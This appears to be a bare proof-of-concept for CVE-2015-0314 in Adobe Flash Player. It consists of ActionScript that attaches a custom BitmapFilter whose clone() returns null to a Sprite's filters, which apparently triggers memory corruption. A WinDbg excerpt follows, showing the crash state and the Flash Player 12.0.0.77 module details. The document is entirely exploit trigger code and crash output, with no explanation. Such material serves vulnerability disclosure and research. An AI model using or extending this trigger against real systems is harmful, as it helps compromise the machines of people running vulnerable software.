CVE-2015-0314

package {
    import flash.display.Sprite;
    import flash.filters.*;

    public class PoC extends Sprite {
        public function PoC() {
            var tmpFilters:Array = this.filters;
            tmpFilters.push(new ExploitFilter());
            this.filters = tmpFilters;
        }
    }
}

import flash.filters.*;
class ExploitFilter extends BitmapFilter
{
    public function ExploitFilter()
    {
        return
    }

    override public function clone():BitmapFilter
    {
        return null;
    }
}


'''
3ff00000 ??              ???
0:000> lmv m Flash*
start    end        module name
00400000 00ecc000   flashplayer_12_0_0_77_sa   (deferred)
    Image path: C:\flashplayer_12.0.0.77_sa.exe
    Image name: flashplayer_12.0.0.77_sa.exe
    Timestamp:        Tue Mar 04 05:28:21 2014 (5314F3F5)
    CheckSum:         009E17CD
    ImageSize:        00ACC000
    File version:     12.0.0.77
    Product version:  12.0.0.77
    File flags:       0 (Mask 3F)
    File OS:          4 Unknown Win32
    File type:        2.0 Dll
    File date:        00000000.00000000
    Translations:     0409.04b0
    CompanyName:      Adobe Systems, Inc.
    ProductName:      Shockwave Flash
    InternalName:     Adobe Flash Player 12.0
    OriginalFilename: SAFlashPlayer.exe
    ProductVersion:   12,0,0,77
    FileVersion:      12,0,0,77
    FileDescription:  Adobe Flash Player 12.0 r0
    LegalCopyright:   Adobe® Flash® Player. Copyright © 1996 Adobe Systems Incorporated. All Rights Reserved. Adobe and Flash are either trademarks or registered trademarks in the United States and/or other countries.
    LegalTrademarks:  Adobe Flash Player

'''